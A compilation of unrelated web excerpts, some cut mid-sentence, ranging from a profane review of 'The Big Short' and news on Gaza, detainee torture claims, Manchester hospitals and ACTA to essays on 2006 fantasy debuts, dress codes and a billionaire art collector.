idiocy and complete capture of the rating agencies (S&P, Moodys). He reveals the ineptitude and dysfunction of the SEC, where the goal of these regulators was to get a high paying job with banks they were supposed to regulate. He skewers the faux financial journalists at the Wall Street Journal who didn’t want to rock the boat with the truth about the greatest fraud ever committed. What makes the movie great are the characters, their motivations, their frustrations, their anger at a warped demented system, and ultimately their hollow victory when the entire edifice of fraud came crashing down on the heads of honest hard working Americans. The movie does not glorify the men that ended up making billions from the demise of the housing bubble. But it clearly defines the real bad guys. Steve Carell plays Mark Baum (based on the real life character Steve Eisman). He’s the kind of prick who would fit in perfectly on TBP. He is abrasively hysterical with his foul mouthed commentary and insults to authority. He is the heart and soul of the movie. You feel his pain throughout. Carrell should win an Academy Award for his performance. Christian Bale’s quirky performance as one eyed Dr. Michael Burry, whose Asberger’s Syndrome actually allowed him to focus on the minutia and discover the fraud before everyone else, is top notch. Ryan Goseling is hysterical in his role as the narrator of the story. Brad Pitt plays a supporting role, but does it with his usual class. Ultimately, it is a highly entertaining movie with the right moral overtone, despite non-stop profanity that captures the true nature of Wall Street traders. This is a dangerous movie for Wall Street, the government, and the establishment in general. They count on the complexity of Wall Street to confuse the average person and make their eyes glaze over. That makes it easier for them to keep committing fraud and harvesting the nation’s wealth. This movie cuts through the crap and reveals those in power to be corrupt, greedy weasels who aren’t really as smart as they want you to think they are. The finale of the movie is sobering and infuriating. After unequivocally proving that Wall Street bankers, aided and abetted by the Federal Reserve, Congress, the SEC, and the mainstream media, destroyed the global financial system, put tens of millions out of work, got six million people tossed from their homes, and created the worst crisis since the Great Depression, the filmmakers are left to provide the depressing conclusion. No bankers went to jail. The Too Big To Fail banks were not broken up – they were bailed out by the American taxpayers. They actually got bigger. Their profits have reached new heights, while the average family has seen their income fall. Wall Street is paying out record bonuses, while 46 million people are on food stamps. Wall Street and their lackeys at the Federal Reserve call the shots in this country. They don’t give a fuck about you. And they’re doing it again. Every American should see this movie and get fucking pissed off. The theater was deathly silent at the end of the movie. The audience was stunned by the fact that the criminals on Wall Street got away with the crime of the century, and they’re still on the loose. I had a great discussion with my 16 year old son on the way home. At least there is one millennial who understand how bad his generation is getting screwed. Merry Fucking Christmas America from a Wall Street banker -Family members among 157 asylum seekers being detained on the high seas in separate rooms on a customs vessel are allowed out for meals and ''approximately three hours'' of daylight a day, according to a document lodged with the High Court on Tuesday. While it was previously stated 153 asylum seekers were on a boat that was intercepted off Christmas Island more than three weeks ago, the document says there are 157. Scott Morrison arriving for talks with India's Minister for Home Affairs, Mr Rajnath Singh. Credit:Jason Koutsoukis A document filed by the government reveals the national security committee of cabinet decided on July 1, two days after the boat was intercepted, that those on board ''should be taken to a place other than Australia''. The document says the asylum seekers are permitted ''approximately three hours' outside during the day in natural light for meals'', but says it would be unsafe to give them unrestricted movement. -If you’re a fantasy reader (and, if you’re reading this, I suspect you are), 2006 was a vintage year. One for the ages, like 2005 for Bordeaux, or 1994 for Magic: The Gathering. The Class of 2006 includes Joe Abercrombie’s The Blade Itself, Naomi Novik’s His Majesty’s Dragon, Scott Lynch’s The Lies of Locke Lamora and Brandon Sanderson’s Mistborn: The Final Empire. All of which, remarkably, are debuts (except Mistborn, but Elantris was only the year before and Mistborn was the breakout hit, so we’ll roll with it). And hey, if we stretch the strict definition of “2006,” we can even include Patrick Rothfuss’ The Name of the Wind in the mix as well. These are five authors that have dominated the contemporary fantasy scene, and to think that they all published more or less simultaneously is, well, kind of ridiculous. However, as tempting as it is to examine the lunar conjunctions of 2006 in the hopes of finding some sort of pattern, the fact that these books all published at the same time is total coincidence—and, in many ways, irrelevant. Publishing ain’t quick, and by 2006, these books had all been finished for some time. For some of these authors, their books had been out on submission for several years. If anything, we’re actually better off prying into 2004, since the process between acquisition and publishing is generally around two years. What was in the air when five different editors all decided to lift these particular manuscripts from the stack? Or do we go back further? We know, of course, that these books were all written at completely different times. The Name of the Wind was the culmination of a decade’s hard labor, beginning in the 1990s. Mistborn, given Sanderson’s legendary speed, was probably written overnight. But what were the influences of the late 1990s and early 2000s that would’ve led these five different people to all write such amazing, popular books? In the years leading up to 2006, there are some clear trends. These trends may have impacted the authors as they wrote these stunning debuts. They may have influenced the editors as they chose these particular books out of the pile. Or, of course, they may not have. But where’s the fun in that? So let’s take a look at some of major touchstones of the period: Harry Potter From 1997 onward, the world belonged to Harry Potter. And by 2004, five of the books were published and the end of the series was on the horizon. Publishers, as you might expect, were pretty keen to finding the next long-running YA/adult crossover series with a fantasy inflection. Moreover, Potter proved that a big ol’ epic fantasy had huge commercial potential, and could be a massive breakout hit. It also showed that the hoary old tropes—say, coming of age at a wizard school, detailed magic systems, and a villainous Dark Lord—still had plenty of appeal. The British Invasion Rowling—deservedly—gets the headlines, but the Brits were everywhere during this period. Susanna Clarke’s Jonathan Strange & Mr Norrell was one of the breakout hits of 2004, a fantasy that couldn’t be more British if it were served with scones and a gently arched eyebrow. China Miéville collected every major genre award between 2000 and 2004. Looking at the Hugo finalists in from 2000, you can also see Stross, Richard Morgan, Ken MacLeod, Ian McDonald, Iain M. Banks… and that’s just in the Novel category. Seeing so many British authors up for what’s traditionally been a predominantly American award shows that the UK was, well, trending. That could only help inform—or sell—a UK author like Joe Abercrombie, or a British-set novel like Novik’s His Majesty’s Dragon. A Game of Thrones This is a little weird to think about—by 2006, every A Song of Ice and Fire book (save A Dance with Dragons) had already been published. The Potter arguments apply here as well—ASoIaF was proof of concept: big fantasy series would sell, and publishers were on the prowl for the “next” one. And, for authors, ASoIaF had dominated the scene since 1996: even before the HBO show, it was a massively popular series. Big Fantasy, again, could be successful—and by subverting the tropes, Martin ushered in a new world of possibilities. Characters could die. Good guys could lose. Surprise was as interesting—and as rewarding—as simply doing the expected. * * * But if we simply limit ourselves to books, we’re missing out. A lot. The Class of 2006 was surrounded by storytelling in a host of formats, both personally and professionally. Abercrombie and Novik, for example, worked in the film and the gaming industries, respectively. So let’s also consider the impact of the following: The Lord of the Rings The three most successful fantasy films of all time were released in 2001, 2002, and 2003. Everyone knew how to pronounce “po-tay-to” and had an opinion on eagles. The films were ubiquitous, breath-taking and, most of all, lucrative. Jackson’s trilogy meant that Hollywood wouldn’t shy away from Big Fantasy, and, as with Harry Potter, everyone was on the prowl for “what would be next”… Gaming The biggest and best fantasy worlds weren’t in cinemas—they were in your home, to be devoured in hundred-hour chunks. 1998 alone saw the release of, among others, Thief, Baldur’s Gate, Half-Life, and The Ocarina of Time. By the early 2000s, games weren’t just hack-and-slash; they were about stealth, storytelling, meandering side-quests and narrative choice—with a rich visual language that stretched the boundaries of the imagination. From Baldur’s Gate 2 (2000) to Final Fantasy (1999-2002), Grand Theft Auto (2002, 2004) to Fable (2004), huge worlds were in, as were immersive stories and moral ambiguity. Games were no longer about levelling up and acquiring the BFG9000; they involved complex protagonists with unique skills, difficult decisions, and complicated moral outlooks. Whether it’s the immersive environments of Scott Lunch’s Camorr, the unconventional morality of Abercrombie’s Logen Ninefingers, the deliciously over-the-top Allomantic battles in Sanderson’s Mistborn books, or the rich and sprawling world of Novik’s Temeraire, it is easy to find parallels between game worlds and the class of 2006. The Wire Television’s best drama started airing on HBO in 2002. Critically acclaimed (and sadly under-viewed), it’s had a huge impact on the nature of storytelling. Big arcs and fragmented narratives were suddenly “in.” Multiple perspectives, complicated plotlines: also in. Immediate payoffs: unnecessary. Moral ambiguity: brilliant. Pre-Netflix, it showed that audiences—and critics—would stick around for intricate long-form storytelling. The Wire’s impact on fiction in all formats can’t be underestimated. Spice World In 1998, the Spice Girls had sold 45 million records worldwide. Their first five singles had each reached #1 in the UK. The previous year, they were the most played artist on American radio—and won Favorite Pop Group at the American Music Awards. Yet, later that year, Geri Halliwell split from the group. Sales foundered. Lawsuits abounded. The Spice World had shattered. As an influence, we can see here the entire story of the Class of 2006. The second wave British invasion. The immersive, transmedia storytelling. The embrace of classic tropes (Scary, Sporty, Ginger)—and their aggressive subversion (Posh, Baby). The moral ambiguity—who do you think you are? The tragic, unexpected ending: what is Halliwell’s departure besides the Red Wedding of pop? The void left by their absence—a vacuum that only another massive, commercially-viable, magic-laced fantasy could fill. * * * Okay, fine. Probably not that last one. But it still goes to show the fun—and futility—of trying to track influences. With a bit of creativity, we can draw a line between any two points, however obscure. If anything, the ubiquitous and obvious trends are the most important. We don’t know everything that Rothfuss read or watched while crafting The Name of the Wind, but we can guarantee that he heard the Spice Girls. If a little bit of “2 Become 1” snuck in there… well, who would ever know? Chasing an author’s influences—or an editor’s—is nearly impossible. There are certainly those inspirations and motivations that they’ll admit to, but there are also many more they don’t. And many, many more that the authors and editors themselves won’t even be fully aware of. We are surrounded by media and influences, from The Wire to BritPop, Harry Potter to the menu at our favourite Italian restaurant. Trying to determine what sticks in our subconscious—much less the subconscious of our favourite author—is an impossible task. What we do know is that, for whatever reasons, many of which are completely coincidental, 2006 wound up being a remarkable year. Thanks, Spice Girls. With huge thanks to r/fantasy and /u/TeoKajLibroj for kicking off the conversation. Jared Shurin is the editor of Pornokitsch and over a dozen anthologies, the latest of which is The Djinn Falls in Love and Other Stories. -It was one of many ads that John Geer, a Vanderbilt University political scientist, and I showed to panels of people throughout the campaign. We ran a weekly experiment called SpotCheck in which we randomly assigned a representative sample of 1,000 people to see one of two campaign ads. We evaluated the ads’ persuasive effects and asked people to evaluate the ads on such criteria as whether the ad made them happy, hopeful, angry or worried. By far, Mr. Sanders’s “America” was the ad from 2016 that made SpotCheck’s raters the happiest and the most hopeful. Nearly 80 percent of viewers said the ad made them at least a little bit happy and hopeful in the week it debuted — including over half of the Republicans who saw it. We paired the ad with a spot from Hillary Clinton called “All the Good,” which also tested well. It featured the commanding voice of Morgan Freeman and a moving string soundtrack, yet only half the raters said this ad made them happy and hopeful. -Get the biggest daily stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email Radical plans to merge Manchester’s three hospital trusts have moved a step closer after health chiefs backed the move. The move could see North Manchester Hopsital, MRI and Wythenshawe Hospital - currently under three separate NHS trusts - all come under the same NHS management. And now the city’s health and wellbeing board, chaired by council leader Sir Richard Leese alongside GP, patient, charity and hospital representatives, have given their green light to the plan this morning. The trusts in charge of the hospitals - Central Manchester, University Hopsital of South Manchester and Pennine Acute - will now spend six weeks hammering out the finer detail of how that process should happen and what it could mean for patients. However patient group Healthwatch, while broadly supportive, has sounded out a warning over the speed of the move. It says that Manchester patients and residents must be more actively involved in the process before the resulting plan becomes a ‘done deal’. Read: Read: Last week it emerged Sir Jonathan Michael, a King’s Fund health expert commissioned by the council to look at the best model for running hospitals in Manchester, had concluded that one single trust was the best way forward, meaning North Manchester General could be removed from struggling Pennine Acute. The plan would create a much clearer, more consistent level of healthcare in the city, the expert claimed, making health bosses more accountable and lining up services with GPs and social care. It is estimated the move would save around £20m a year, although the reorganisation itself is likely to be expensive. So far it is unclear what the impact will be on services in the city, but it is likely to mean some services being closed or moved. Nevertheless a restructure is absolutely not ‘an end in itself’, stressed Sir Jonathan, but simply a vehicle through which to make care better. The plan had immediately prompted fears that taking North Manchester General Hospital out of Pennine would hit the trust’s other hospitals in Rochdale, Oldham and Bury. But Sir Richard said he had spoken to council leaders in the areas, who he said were ‘supportive’, while a separate review being led by consultant Mike Farrar is reviewing health care in general across the north east of Greater Manchester. He also said parts of Pennine Acute, which is currently being overseen by Salford Royal, has effectively been ‘in intensive care’ of late. Read: Read: The city’s other two hospital trusts must now play their part in supporting North Manchester General hospital, he said. Meanwhile Mike Wild, representing the city’s voluntary sector, said it was vital patients were put at the heart of the process - stressing trusts should not just ‘broadcast’ their plans at residents but have a proper discussion with them. And Vicky Szulist, chair of patient organisation Healthwatch, warned against the move being a ‘done deal by the time it gets to patients’. Nevertheless all the GPs, commissioners, councillors and hosptial leaders - including board chairs - around the table said they were supportive of the move. Councillor Paul Andrews, who is in charge of health and social care for the council, said he was delighted such an agreement between so many organisations had been reached. Two years ago trying to get to such a point had felt like ‘walking through custard’, he added. Central, UHSM and Pennine will now report back in August. -I am a colorful creature that values love and equality above all else. I have a loving home environment and am a strong advocate for women's rights and LGBTQ equality. I have a loving boyfriend and a terrorist disguised as an orange cat with an vendetta against paper towel rolls. I am very opinionated and very loud at times, but I always mean well. Cheers! As people, we rely way too much on appearance and how people perceive us. There is a need to be accepted and liked ingrained within almost every mind. It is such that in today’s society, it is difficult to find any single person, let alone any company that accepts all the colours in the crayon box. This needs to be rectified. There are many topics of discussion that this article could be referring to with the above statements, but we’re going to start with something as simple as hair colour. I have never understood dress code rules and regulations regarding hair colour. They make zero sense. Hair colour does nothing to deter or take away from work performance. The only excuse I have ever heard is that it’s ‘distracting’. You know who it distracts? 3 year olds…but even then they move on once you sate their curiosity. Adults should be well past the stage of believing that hair colour has any iota of sway in productivity, but time and time again, I see hair colour included in my friends’ dress code rules for employers. If I want my hair to resemble unicorns fluffy and magical behind, well, that’s my prerogative. Blue hair colour does not cause Jan in billing or Eric in tech to do their job any less fabulously. Hair colour can be a way to express ones’ personality in a way that clothes may not always be able to. While I’m on the topic, clothes should not determine ones’ social status or ability to hold a job. I would be perfectly fine if Sebastian in collections came to work sporting goth attire with a few extra piercings, but the fact of the matter is that people simply do not accept others for who they are. Strange and unusual is a big ol’ fat no no in the work place. You simply don’t see the CEO of most companies with purple hair and skinny jeans, but I don’t know why. I feel like there are so many standards in society that were established eons ago that simply do not hold a candle with today’s society. Personally, I would feel much more comfortable if Jan from billing decided to change up her hair from conservative blonde to coca-cola bottle red. If Eric in tech wants to wear fine tailored suits everyday and gauge his ear lobes to see through proportions, that’s just fine with me. I feel like we need to be a little more accepting of change, because the world as we know it is changing…and the strict stubborn rules of yesteryear are being left for the birds. -The first annual Ultimate Classic Rock Awards are here, and they are your chance to vote for the best rock music of 2011. Over the next week, we will be announcing nominees for the year's best classic rock albums, songs, tours, artists and more -- 10 categories in all -- and allowing our readers to pick the winners in each. We'll begin with the Tour of the Year category: After all, if there's one place classic rockers undeniably dominate the music landscape, it is in the live performance setting. This year featured two big summer tour team-ups: Journey , Foreigner and Night Ranger combined to bring fans a hit-packed evening, and Motley Crue brought Poison and the New York Dolls along for their typically extravagant trek. Of course, some bands decided to go it alone, too. Rush continued their 'Time Machine' tour, which featured the band playing their 1981 'Moving Pictures' album in its entirety. Kiss proved the worth of their music by scaling down their stage show to play long-awaited concerts in smaller cities for much of the summer, and even as we speak, Guns N' Roses are making an emphatic case for the power of their new lineup and the 'Chinese Democracy' album with 3-hour marathon shows all across the land. Let's not forget Alice Cooper , who dazzled audiences around the world with a career-spanning show of surprising ferocity prior to the release of his 'Welcome 2 My Nightmare' album. That album, by the way, has already earned the No. 1 spot on our list of the Top 10 Albums of 2011, in addition to spawning what we've labeled the year's best new song, ' I'll Bite Your Face Off .' But those were our staff's choices; this one is up to you. Select which one of the six aforementioned tours you thought was the best. You have until 11:59 PM on Jan. 1, 2012, and the winners will be announced Tuesday, Jan, 3. -The father of Daron Wint, the man suspected of killing a Northwest D.C. couple, their young son, and their housekeeper, had been so frightened by threats his son made to shoot his own family that he sought a protective order barring the man from contacting them for a year. Maryland court records show that over the last decade Mr. Wint has been the subject of numerous peace and protective orders. One taken out by his own father in 2005 describes how the then 21-year-old Mr. Wint stood outside of his father’s Lanham home and threatened to shoot his father and step-mother. Police were called to the scene, but Mr. Wint came back afterward. “He stood in the street in front of the house and continued to threaten me and my wife,” wrote Mr. Wint’s father in a handwritten application for a protective order filed in Prince George’s County District Court. “Threats were to be on the lookout for him, I should have made the officer pat him and they would have found what he had under his clothing for me.” D.C. police have named Mr. Wint as a suspect in the gruesome killings of Savvas Savopoulos; his wife, Amy; their 10-year-old son, Philip; and their housekeeper, Veralicia Figueroa. First responders found their bodies May 14 inside the Savopouloses’ multi-million-dollar Woodley Park home after responding to extinguish a fire there. The family is believed to have been held captive in the home the night before, and media reports indicate that $40,000 in cash was delivered to the home shortly before the fire broke out the afternoon of May 14. In a press conference Thursday, Metropolitan Police Chief Cathy L. Lanier said Mr. Wint at one point had worked for Mr. Savopoulos at his business, American Iron Works, which is based in Hyattsville. The D.C. Medical Examiner has not ruled a cause of death in the four homicides, but there is speculation that the victims may have been beaten while held captive as at least three of the four victims suffered either blunt force trauma or wounds from sharp objects. Police said the fire at the home was set intentionally. The protective order sought by Mr. Wint’s father sought to ban him from the family’s Lanham home, which was one of several locations in Prince George’s County that police searched Wednesday night. The order also sought to keep Mr. Wint away from the elementary school and day care that his then 8-year-old sister attended. Copyright © 2019 The Washington Times, LLC. Click here for reprint permission. -* Israel says major operation may last days * Does not rule out ground invasion of Gaza * Hamas, militant groups vow to fight * First target was Hamas commander * Southern Israel braced for Gaza rockets By Nidal al-Mughrabi GAZA, Nov 14 (Reuters) - Israel launched a major offensive against Palestinian militants in Gaza on Wednesday, killing the military commander of Hamas in an air strike and threatening an invasion of the enclave that the Islamist group vowed would "open the gates of hell". The onslaught shattered hopes that a truce mediated on Tuesday by Egypt could pull the two sides back from the brink of war after five days of escalating Palestinian rocket attacks and Israeli strikes at militant targets. Operation "Pillar of Defence" began with a surgical strike on a car carrying the commander of the military wing of Hamas, the Islamist movement which controls Gaza and dominates a score of smaller armed groups. Within minutes of the death of Ahmed Al-Jaabari, big explosions were rocking Gaza, as the Israeli air force struck at selected targets just before sundown, blasting plumes of smoke and debris high above the crowded city. Panicking civilians ran for cover and the death toll mounted quickly. Seven people including two girls under the age of five were killed, the health ministry said. A second Gaza war has loomed on the horizon for months as waves of Palestinian rocket attacks and Israeli strikes grew increasingly more intense and frequent. Israel's Operation Cast Lead in 2008-2009 began with a week of air attacks and shelling, followed by a land invasion of the blockaded coastal strip, sealed off at sea by the Israeli navy. Some 1,400 Palestinians were killed and 13 Israelis died. Hamas said Jaabari, who ran the organisation's armed wing, Izz el-Deen Al-Qassam, died along with an unnamed associate when their car was blown apart by an Israeli missile. The charred and mangled wreckage of a car could be seen belching flames, as emergency crews picked up what appeared to be body parts. GATES OF HELL Israel confirmed it had carried out the attack and announced there was more to come. Reuters witnesses saw Hamas security compounds and police stations blasted apart. "This is an operation against terror targets of different organisations in Gaza," Israeli army spokeswoman Colonel Avital Leibovitch told reporters. Jaabari had "a lot of blood on his hands", she said. Other militant groups including Islamic Jihad were on the target list. Immediate calls for revenge were broadcast over Hamas radio. "The occupation has opened the gates of hell," Hamas's armed wing said. Smaller groups also vowed to strike back. "Israel has declared war on Gaza and they will bear the responsibility for the consequences," Islamic Jihad said. Southern Israeli communities within rocket range of Gaza were on full alert, and schools were ordered closed for Thursday. About one million Israelis live in range of Gaza's relatively primitive but lethal rockets, supplemented in recent months by longer-range, more accurate systems. "The days we face in the south will, in my estimation, prove protracted," Brigadier-General Yoav Mordechai, Israel's chief military spokesman, told Channel 2 TV. "The home front must brace itself resiliently." Mordechai said Israel was both responding to a surge in Palestinian rocket salvoes earlier this week and trying to prevent Hamas and other Palestinian factions from building up their arsenals further. Among the targets of Wednesday's air strikes were underground caches of longer-range Hamas rockets, he said. Asked if Israel might send in ground forces, Mordechai said: "There are preparations, and if we are required to, the option of an entry by ground is available." HAMAS EMBOLDENED Israel's intelligence agency Shin Bet said Jaabari was responsible for Hamas' takeover of the Gaza Strip in 2007, when the militant Islamist group ousted fighters of the Fatah movement of its great rival, the Western-backed Palestinian president Mahmoud Abbas. It said Jaabari instigated the attack that led to the capture of Israeli Corporal Gilad Shalit in a kidnap raid from Gaza in 2006. Jaabari was also the man who handed Shalit over to Israel in a prisoner exchange five years after his capture. Israel holds a general election on Jan. 22 and conservative Prime Minister Benjamin Netanyahu has pledged to retaliate harshly against Hamas. Hamas has been emboldened by the rise to power in neighbouring Egypt of its spiritual mentors in the Muslim Brotherhood, viewing them as a "safety net" that will not permit a second Israeli thrashing of Gaza, home to 1.7 million Palestinians. Egypt condemned Israel's strikes on Gaza and urged it to end the attacks at once. Hamas has historically been supported by Iran, which Israel regards as a rising threat to its own existence due to its nuclear programme. In the flare-up that was prelude to Wednesday's offensive, more than 115 missiles were fired into southern Israel from Gaza and Israeli planes launched numerous strikes. Seven Palestinians, three of them gunmen, were killed. Eight Israeli civilians were hurt by rocket fire and four soldiers wounded by an anti-tank missile. Helped by Iran and the flourishing contraband trade through tunnels from Egypt, Gaza militias have smuggled in better weapons since the war of 2008-09. But Gaza's estimated 35,000 Palestinian fighters are still no match for Israel's F-16 fighter-bombers, Apache helicopter gunships, Merkava tanks and other modern weapons systems in the hands of a conscript force of 175,000, with 450,000 in reserve. Israel's shekel fell nearly one percent to a two-month low against the dollar on Wednesday after news of the Israeli air strikes broke. Earlier, Israel killed the head of the Hamas military wing, Ahmed Jabari, in an airstrike. In all, Palestinian officials say six people have been killed in the Israeli attacks. Israel says the airstrikes are the beginning of a broader operation, launched in response to days of heavy rocket fire from Gaza. -Dear Reader, As you can imagine, more people are reading The Jerusalem Post than ever before. Nevertheless, traditional business models are no longer sustainable and high-quality publications, like ours, are being forced to look for new ways to keep going. Unlike many other news organizations, we have not put up a paywall. We want to keep our journalism open and accessible and be able to keep providing you with news and analysis from the frontlines of Israel, the Middle East and the Jewish World. An NGO on Thursday accused the Shin Bet (Israel Security Agency), IDF, police and Prisons Service of a spike in alleged torture and abuse of detainees starting in June, during Operation Brothers’ Keeper. The Shin Bet gave an extensive rejection of these claims, as well as of torture that allegedly continued through the Gaza war and elevated tensions in the area through the end of 2014. According to statistics presented by the Public Committee Against Torture in Israel (PCATI) based on hundreds of prison visits, there were 66 alleged acts of torture or abuse in the second half of 2014, up from 19 alleged acts in the first half of the year.PCATI did not distinguish between acts of torture and acts of abuse. It generally takes the position that it is simply fighting all deviant interrogation practices.What is considered illegal torture or abuse versus, sometimes permitted under Israeli law, “moderate physical pressure,” is hotly debated both domestically and globally, with international law often giving few specifics.“Moderate physical pressure” is a synonym for enhanced interrogation or pressure short of what the High Court of Justice would forbid as torture, and has been permitted for the sake of stopping a “ticking bomb” terrorist attack since a 1999 court decision – which also prohibited anything more than moderate pressure.Of the 85 alleged acts for 2014, PCATI said that 48 complaints were submitted “to various investigatory powers,” including the Justice Ministry.The 48 complaints themselves involve fewer than 48 Palestinians as some of them submitted multiple complaints.Breaking down the 48 complaints: 23 were filed against the Shin Bet, 14 against the IDF, nine against the police or border police and two against the Prisons Service.Since June 2014, 18 complaints claimed their interrogators used the “frog” or “banana” (contorted) positions against them, 19 complained of sleep deprivation, 12 of beatings during interrogation, eight of sexual harassment or assault during the interrogation, seven of physical violence during arrest and two of being physically shaken against High Court dictates.PCATI said that the use of the “frog” and “banana” positions were most noteworthy since these methods had been used only 10 times in the prior four years.No specifics were provided regarding the individual cases that made up the basis of the statistics, though some information is protected under gag order.On March 3, 2014, the state attorney confirmed to the High Court that the Shin Bet does currently use moderate physical pressure in a small number of ticking bomb cases.On June 18, 2014 multiple media reports said that a senior military source had told them that the Shin Bet was using moderate physical pressure on certain Hamas agents to get operational information for finding the kidnappers of three murdered Jewish teens, whose kidnapping brought about Operation Brothers’ Keeper.The military source also said that the Shin Bet had gotten special approval for using enhanced interrogation from Attorney-General Yehuda Weinstein.A number of harsher and controversial tactics have been employed by the state in responding to increased security challenges since June 2014, such as house demolitions, though unlike torture, house demolitions were never forbidden by the High Court.The Justice Ministry at the time referred all question to the Shin Bet.The Jerusalem Post investigated the reports at the time, and each media source stood by the story, while security officials neither confirmed nor denied the statement, other than that the Shin Bet said that it neither asked for nor needs prior approval to undertake interrogations.If true, the new PCATI statistics would confirm the June reports.However, without assessing individual cases regarding each complaint’s veracity and whether, if moderate physical pressure was used, the Shin Bet would have a necessity defense for having tried to prevent a “ticking bomb” attack, it is impossible to know whether the complaints could legally carry criminal charges.PCATI director Ishai Menuchin said, “some of the torture methods that were used are in full violation of High Court decisions... including giving advance approval for torture.”He said that at least three detainees had been told by their interrogators that their torture had been approved by the attorney- general or other officials – which he called illegal.Menuchin added that some detainees were allegedly tortured only after having been in administrative detention for some time, such that he questioned how they could provide updated and current information to help stop a ticking bomb attack.The IDF, police and Prisons Service said that they could not respond without information about the specific allegations.The Shin Bet did say, however, that it “acts solely within the law and is open to both internal and external oversight and criticism, including the state comptroller, the state attorney, the attorney-general, the Knesset and the courts.”It continued, “Shin Bet detainees receive their full humanitarian rights that they are entitled to under the law, including: medical attention, meetings with lawyers and ICRC visits.”Further, the Shin Bet stated, “every detainee complaint is passed on directly and immediately to the Justice Ministry’s head Shin Bet investigator, and handled by her.”The statement concluded, “all decisions regarding handling of the complaints and taking follow- up actions regarding them, on the basis of reviews, are decided by the Justice Ministry.”Of around 1,000 similar complaints filed since 2001, not a single criminal investigation has been opened to date, leading the Justice Ministry to take over investigations of complaints of torture against the Shin Bet in June 2013.The new Justice Ministry division, which became fully operational in 2014, has sped up processing of complaints, but the jury is still out on whether it will be viewed as handling complaints better than the Shin Bet did.Yaakov Lappin and Ben Hartman contributed to this report. Join Jerusalem Post Premium Plus now for just $5 and upgrade your experience with an ads-free website and exclusive content. Click here>> -ACTA has received a knockout blow from the European Parliament as the majority of MEPs voted in favor of rejecting the controversial trade agreement, which critics say would protect copyright at the expense of freedom of speech on the Internet. MEPs voted overwhelmingly against ACTA, with 478 votes against and only 39 in favor of it. There were 146 abstentions. “In am proud to say that the highly controversial Anti-Counterfeiting Trade Agreement (ACTA) will not come into force in the European Union,” the Treaty’s rapporteur in the European Parliament, David Martin MEP, wrote on his blog after the session. Martin recommended that Parliament reject the treaty as it would not effectively tackle online piracy. The anti-ACTA mood was strong among MEPs during the session, with some members holding banners reading “Hello democracy. Goodbye ACTA”. The ACTA-killing vote came despite an attempt by supporters of the treaty to postpone the crucial vote at the Parliamentary plenary session on Wednesday. However, as Martin writes, MEPs “were able to build a strong majority and defeated the call for a postponement.” “This is a historic day in terms of European politics,” he wrote. The European Parliament vote means that 22 European member states cannot ratify ACTA into their local sovereign law. Earlier all five parliament committees reviewing ACTA voted in favor of rejecting the international treaty. The European Parliament was supported by 2.8 million European citizens around the globe who signed a petition calling for MEPs to reject the agreement. Thousands of EU citizens lobbied for blocking ACTA in street demonstrations, e-mails to MEPs and calls to their offices. “On July 4, Europe celebrates a day of independence from American special interests. Today, we stood up for our most basic rights against corporate giants, and won,” Rick Falkvinge, the founder of the Swedish Pirate Party , wrote. “This is a huge victory for the citizenship, for democracy and for freedom online. We worked very hard for the last four years to achieve this,” Jeremie Zimmermann, a co-founder and spokesperson for civil advocacy group La Quadrature du Net, told RT. ­ What's next for ACTA? In theory, ACTA could still come into force outside the EU, between the United States and a number of smaller states like Australia, Canada, Japan, Morocco, New Zealand, Singapore and South Korea, where the treaty is widely supported. ACTA was developed with the participation of a number of countries, including all those listed above and others since 2007. When the ramifications of the agreement came to wider public knowledge this year, a wave of protests hit several countries. The EU suspended the ratification of ACTA in February to reconsider it. ACTA could still be revived in the EU if the European Commission, the bloc's executive body, calls for the agreement's implementation and wins a court decision over it. However, non-EU countries will still be able to shape laws around the treaty's mandates, but ACTA will be significantly reduced without Europe's support. ACTA “was wrong from the start” says Martin, adding that they “need to start again from scratch.” The proposed Anti-Counterfeiting Trade Agreement is aimed at protecting copyright over a wide range of industries. ACTA would require signatory states to impose draconian restrictions on online privacy in the drive to eradicate content piracy and the sale of counterfeit branded goods through the internet. The main focus of criticism was targeting the impact it would cause to internet freedom. AFP Photo/Frederick Florin AFP Photo/Frederick Florin Image from Twitter/@judithineuropa Image from Twitter/@judithineuropa -× Terms of Use Terms of Use of Shoney’s Sites and End User License Agreement for Shoney’s Apps Please read these Terms of Use of www.shoneys.com, www.shoneysfranchise.com, www.shoneysinternational.com, www.shoneyscatering.com, www.shoneys5k.com and any other site (collectively, the “Sites”) operated by Best American Hospitality Corp. on behalf of Shoney’s North America, LLC (collectively, “Shoney’s) carefully before using the Sites. These Terms of Use may be modified at any time and are effective immediately upon posting to the Sites. By using the Sites, you agree to the then-current terms of use. If you do not agree with any of the terms of use, do not use the Sites. These Terms of Use also contain an End User License Agreement that covers your use of all software published by Shoney’s, for use on mobile devices, tablets, personal computers and other devices, as well as all related elements including, but not limited to updates and upgrades, manuals, online materials, files and documentation of any kind (collectively, the “Apps”). Be sure to read the following before using the Apps. By installing, accessing and using the Apps, you are hereby agreeing to be legally bound by these provisions. If you do not agree to the following, do not download or use the Apps and remove all copies from your devices. -Of all the billionaires that come and go on the Forbes China Rich List, Liu Yiqian is certainly the one with the biggest appetite for art. Liu, who ranked No. 220 with a net worth of $ 1 billion, yesterday bought a 600-year-old imperial embroidered Tibetan tapestry at a Christie’s auction for $ 348 million Hong Kong dollars ($ 45 million), setting a record for any Chinese works of art sold by an international auction house. For the art-savvy Liu, the magnificent piece is too important to miss. The silk tapestry, known as a thangka, is more than three meters tall and two meters wide. The work, created more than five centuries ago during the Ming dynasty on command of Emperor Yongle, is excellently preserved. The still brightly colored gold and silk threads depict the story of Raktayamari, 'The Red Conqueror of Death', embracing his consort, Vajravetali, according to Christie’s. The thangka is the only one of its kind still in private hands - two other known examples are in the Jokhang Monastery in Tibet. Liu, who bought the piece for his private Long museum in Shanghai, said he is “proud to bring back to China this significant and historic 15th century thangka, which will be preserved in the Long museum for years to come.” In his WeChat message now widely circulated on Chinese media, Liu said the auction was a tough battle. The 50-year-old collector has an eye for all sorts of artwork. In April, he spent $36.3 million on a tiny porcelain cup with a humble chicken painted on its surface- he also took a celebratory swig from it. Liu’s collection also includes revolutionary pieces from the Mao period and modern Chinese artworks by celebrated artists such as Chen Yifei and Fang Lijun. Liu, who sometimes is dubbed the eccentric one, has a penchant for paying his purchases through American Express . He paid for the chicken cup by swiping his American Express card an individual 24 times and confirmed to the Wall Street Journal that he intended to settle payment for the thangka through American Express again. Liu is chairman of Shanghai-based investment company Sunline Group. Born in 1963 into a working-class family in the city, he left school at 14 to help with his mother’s handbag business. After amassing a small amount of fortune by selling bags, he learned stock trading at 27 and was one 